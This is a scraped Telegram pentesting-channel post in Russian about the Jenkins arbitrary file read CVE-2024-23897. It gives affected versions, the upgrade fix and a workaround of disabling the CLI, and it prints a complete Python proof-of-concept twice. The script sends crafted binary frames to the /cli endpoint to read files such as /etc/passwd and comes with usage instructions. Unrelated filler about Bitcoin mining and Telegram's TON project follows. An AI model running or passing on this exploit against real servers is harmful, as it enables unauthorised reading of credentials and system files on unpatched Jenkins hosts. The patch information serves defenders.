Telegram Group & Telegram Channel
Jenkins RCE Arbitrary File Read CVE-2024-23897

Критическая уязвимость в Jenkins. Позволяет выполнить RCE на атакуемой машине через уязвимый модуль args4j. Эта функция включена по умолчанию, и в Jenkins 2.441 и более ранних версиях, LTS 2.426.2 и более ранних версиях она не отключается.

PoC
import threading
import http.client
import time
import uuid
import urllib.parse
import sys

if len(sys.argv) != 3:
print('[*] usage: python poc.py http://127.0.0.1:8888/ [/etc/passwd]')
exit()

data_bytes = b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@' + sys.argv[2].encode() + b'\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05zh_CN\x00\x00\x00\x00\x03'
target = urllib.parse.urlparse(sys.argv[1])
uuid_str = str(uuid.uuid4())

print(f'REQ: {data_bytes}\n')

def req1():
conn = http.client.HTTPConnection(target.netloc)
conn.request("POST", "/cli?remoting=false", headers={
"Session": uuid_str,
"Side": "download"
})
print(f'RESPONSE: {conn.getresponse().read()}')

def req2():
conn = http.client.HTTPConnection(target.netloc)
conn.request("POST", "/cli?remoting=false", headers={
"Session": uuid_str,
"Side": "upload",
"Content-type": "application/octet-stream"
}, body=data_bytes)

t1 = threading.Thread(target=req1)
t2 = threading.Thread(target=req2)

t1.start()
time.sleep(0.1)
t2.start()

t1.join()
t2.join()


Использование:
python poc.py http://127.0.0.1:8888/ [/etc/passwd]


Обновление:
Обновление до Jenkins 2.442, LTS 2.426.3

Исправление:
Если вы не можете обновиться до последней версии, то отключите доступ к CLI, это должно полностью исключить возможность эксплуатации.

Купить книгу по пентесту для начинающих можно тут 📔

👉 Подписаться 👈

#Jenkins #cve #poc
Please open Telegram to view this post
VIEW IN TELEGRAM



tg-me.com/manual_pentesting/1272
Create:
Last Update:

Jenkins RCE Arbitrary File Read CVE-2024-23897

Критическая уязвимость в Jenkins. Позволяет выполнить RCE на атакуемой машине через уязвимый модуль args4j. Эта функция включена по умолчанию, и в Jenkins 2.441 и более ранних версиях, LTS 2.426.2 и более ранних версиях она не отключается.

PoC

import threading
import http.client
import time
import uuid
import urllib.parse
import sys

if len(sys.argv) != 3:
print('[*] usage: python poc.py http://127.0.0.1:8888/ [/etc/passwd]')
exit()

data_bytes = b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@' + sys.argv[2].encode() + b'\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05zh_CN\x00\x00\x00\x00\x03'
target = urllib.parse.urlparse(sys.argv[1])
uuid_str = str(uuid.uuid4())

print(f'REQ: {data_bytes}\n')

def req1():
conn = http.client.HTTPConnection(target.netloc)
conn.request("POST", "/cli?remoting=false", headers={
"Session": uuid_str,
"Side": "download"
})
print(f'RESPONSE: {conn.getresponse().read()}')

def req2():
conn = http.client.HTTPConnection(target.netloc)
conn.request("POST", "/cli?remoting=false", headers={
"Session": uuid_str,
"Side": "upload",
"Content-type": "application/octet-stream"
}, body=data_bytes)

t1 = threading.Thread(target=req1)
t2 = threading.Thread(target=req2)

t1.start()
time.sleep(0.1)
t2.start()

t1.join()
t2.join()


Использование:
python poc.py http://127.0.0.1:8888/ [/etc/passwd]


Обновление:
Обновление до Jenkins 2.442, LTS 2.426.3

Исправление:
Если вы не можете обновиться до последней версии, то отключите доступ к CLI, это должно полностью исключить возможность эксплуатации.

Купить книгу по пентесту для начинающих можно тут 📔

👉 Подписаться 👈

#Jenkins #cve #poc

BY Security




Share with your friend now:
tg-me.com/manual_pentesting/1272

View MORE
Open in Telegram


Security Telegram | DID YOU KNOW?

Date: |

How Does Bitcoin Mining Work?

Bitcoin mining is the process of adding new transactions to the Bitcoin blockchain. It’s a tough job. People who choose to mine Bitcoin use a process called proof of work, deploying computers in a race to solve mathematical puzzles that verify transactions.To entice miners to keep racing to solve the puzzles and support the overall system, the Bitcoin code rewards miners with new Bitcoins. “This is how new coins are created” and new transactions are added to the blockchain, says Okoro.

Telegram Gives Up On Crypto Blockchain Project

Durov said on his Telegram channel today that the two and a half year blockchain and crypto project has been put to sleep. Ironically, after leaving Russia because the government wanted his encryption keys to his social media firm, Durov’s cryptocurrency idea lost steam because of a U.S. court. “The technology we created allowed for an open, free, decentralized exchange of value and ideas. TON had the potential to revolutionize how people store and transfer funds and information,” he wrote on his channel. “Unfortunately, a U.S. court stopped TON from happening.”

Security from ye


Telegram Security
FROM USA